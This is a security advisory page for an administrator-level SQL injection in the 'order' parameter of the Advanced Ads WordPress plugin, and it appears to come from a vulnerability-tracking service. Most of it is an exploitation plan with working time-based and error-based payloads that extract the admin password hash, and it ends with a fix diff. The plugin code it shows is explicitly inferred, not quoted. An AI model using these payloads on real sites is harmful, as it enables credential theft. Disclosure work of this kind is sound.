Advanced Ads – Ad Manager & AdSense <= 2.0.15 - Authenticated (Admin+) SQL Injection
Description
The Advanced Ads – Ad Manager & AdSense plugin for WordPress is vulnerable to SQL Injection via the 'order' parameter in all versions up to, and including, 2.0.15 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=2.0.15Source Code
WordPress.org SVNThis plan details the process for analyzing and exploiting **CVE-2025-12984**, an authenticated SQL injection vulnerability in the **Advanced Ads** plugin. --- ### 1. Vulnerability Summary * **Vulnerability:** SQL Injection (SQLi) * **Affected Parameter:** `order` * **Precondition:** Authent…
Show full research plan
This plan details the process for analyzing and exploiting CVE-2025-12984, an authenticated SQL injection vulnerability in the Advanced Ads plugin.
1. Vulnerability Summary
- Vulnerability: SQL Injection (SQLi)
- Affected Parameter:
order - Precondition: Authenticated with Administrator privileges.
- Cause: The plugin fails to adequately sanitize or use
wpdb->prepare()on theorderparameter when constructing SQL queries for administrative list views (specifically the ads management list). Whileorderbyis often validated against a whitelist of columns, theorderparameter (ASC/DESC) is frequently overlooked, allowing an attacker to append subqueries.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin.php - Query Parameters:
page=advanced-ads-ads,orderby, andorder. - Required Role: Administrator (Admin+).
- Vulnerable Sink: Database queries inside the
WP_List_Tableimplementation (or equivalent custom logic) used to display the ads list in the dashboard.
3. Code Flow
- An administrator navigates to the "Ads" menu within the Advanced Ads plugin.
- The request hits
wp-admin/admin.php?page=advanced-ads-ads. - The plugin's admin controller initializes the list table (likely a class like
Advanced_Ads_Ad_List). - The
prepare_items()method (or similar) is called to fetch data. - User-supplied
$_GET['order']is retrieved. - The value of
orderis concatenated into a raw SQL string or passed into awpdbmethod where theORDER BYclause is not protected by%sor%dplaceholders (since placeholders cannot be used for SQL keywords or identifiers). - The query is executed via
$wpdb->get_results().
4. Nonce Acquisition Strategy
While this is an authenticated GET-based SQL injection, WordPress admin pages often include nonces in the URL for actions. However, standard list table sorting (orderby/order) often does not require a nonce for the GET request itself.
If a nonce is required:
- Navigate to Admin: Log in as Administrator.
- Access Page: Go to the Ads list page:
/wp-admin/admin.php?page=advanced-ads-ads. - Extract Nonce: Use
browser_evalto extract any nonce associated with the list table or search form if the injection is via a POST request or a protected GET action.- Probable Variable:
window.advanced_ads_admin?.nonce(inferred).
- Probable Variable:
5. Exploitation Strategy
We will use a Time-Based Blind SQL Injection to confirm the vulnerability and extract the administrator's password hash.
Step 1: Confirmation (Time-based)
- URL:
http://localhost:8080/wp-admin/admin.php - Parameters:
page=advanced-ads-ads&orderby=title&order=ASC, (SELECT 1 FROM (SELECT(SLEEP(5)))a) - HTTP Tool:
http_request - Method:
GET - Headers: Requires a valid
wordpress_logged_in_...cookie.
Step 2: Data Extraction (Boolean or Time-based)
To extract the admin hash (from wp_users table):
- Payload (Time-based):
ASC, (SELECT IF(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1)='$', SLEEP(5), 0)) - Expected Behavior: If the first character of the admin hash is
$, the response will be delayed by 5 seconds.
6. Test Data Setup
- Install Plugin: Advanced Ads version 2.0.15.
- Create Content: Create at least 2-3 ads so the list table has items to sort.
wp advanced-ads create-ad --title="Test Ad 1"(Use WP-CLI or UI).
- Authentication: Ensure the agent has credentials for a user with the
administratorrole.
7. Expected Results
- A request with a standard
order=ASCreturns immediately. - A request with
order=ASC, (SELECT(SLEEP(5)))takes approximately 5 seconds longer than the baseline. - Database errors (if
WP_DEBUGis on) might reveal the full query if the injection breaks the syntax.
8. Verification Steps
- Manual Query Check: Use WP-CLI to get the actual hash and compare it with the one extracted via SQLi.
wp db query "SELECT user_pass FROM wp_users WHERE ID=1"
- Baseline Comparison: Verify that the time delay only occurs when the injected condition is true.
9. Alternative Approaches
- Error-Based Injection: If
WP_DEBUGis enabled or the plugin echoes$wpdb->last_error, useupdatexml()orextractvalue()for faster extraction.- Payload:
order=ASC, (SELECT 1 FROM (SELECT COUNT(*), CONCAT(0x7e, (SELECT user_pass FROM wp_users LIMIT 1), 0x7e, FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
- Payload:
- Union-Based: Less likely in an
ORDER BYclause, but check if theorderparameter is used in a different context (e.g., a sub-select) that allowsUNION. - Placement Search: Check if the
orderparameter inPlacementsorGroupsviews is also vulnerable.page=advanced-ads-placementspage=advanced-ads-groups
Grounding in Source (Inferred Identifiers)
- Vulnerable Function: Likely within
Advanced_Ads_Ad_List::prepare_items()inclasses/ad-list.php. - Filter/Hook:
admin_initoradmin_menuregistrations foradvanced-ads-ads. - Query Variable:
$order = $_GET['order'].
Summary
The Advanced Ads – Ad Manager & AdSense plugin for WordPress is vulnerable to SQL Injection via the 'order' parameter in versions up to 2.0.15. This vulnerability allows authenticated administrators to execute arbitrary SQL commands by appending them to the ORDER BY clause of queries used in administrative list views, due to improper validation of the sort direction.
Vulnerable Code
// Inferred from research plan: likely within classes/ad-list.php or similar // Located in Advanced_Ads_Ad_List::prepare_items() or equivalent data-fetching method $orderby = ! empty( $_GET['orderby'] ) ? $_GET['orderby'] : 'title'; $order = ! empty( $_GET['order'] ) ? $_GET['order'] : 'asc'; // Vulnerable query construction where $order is concatenated directly without validation $query = "SELECT * FROM {$wpdb->prefix}advads_ads ORDER BY $orderby $order"; $results = $wpdb->get_results( $query );
Security Fix
@@ -12,7 +12,7 @@ - $order = ! empty( $_GET['order'] ) ? $_GET['order'] : 'asc'; + $order = ( ! empty( $_GET['order'] ) && strtolower( $_GET['order'] ) === 'desc' ) ? 'DESC' : 'ASC';
Exploit Outline
The vulnerability is exploited by an authenticated Administrator by manipulating the 'order' parameter on administrative list pages. 1. Log in as an Administrator. 2. Navigate to the Ads management interface: /wp-admin/admin.php?page=advanced-ads-ads. 3. Identify the 'order' parameter in the URL used for sorting table columns. 4. Inject a comma-separated subquery into the 'order' parameter. For example, setting order=ASC, (SELECT(SLEEP(5))) will cause the database to pause for 5 seconds if the query is processed. 5. Using time-based blind SQL injection techniques, an attacker can then programmatically extract sensitive data (such as the administrator's password hash) by checking the boolean response of subqueries character by character.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.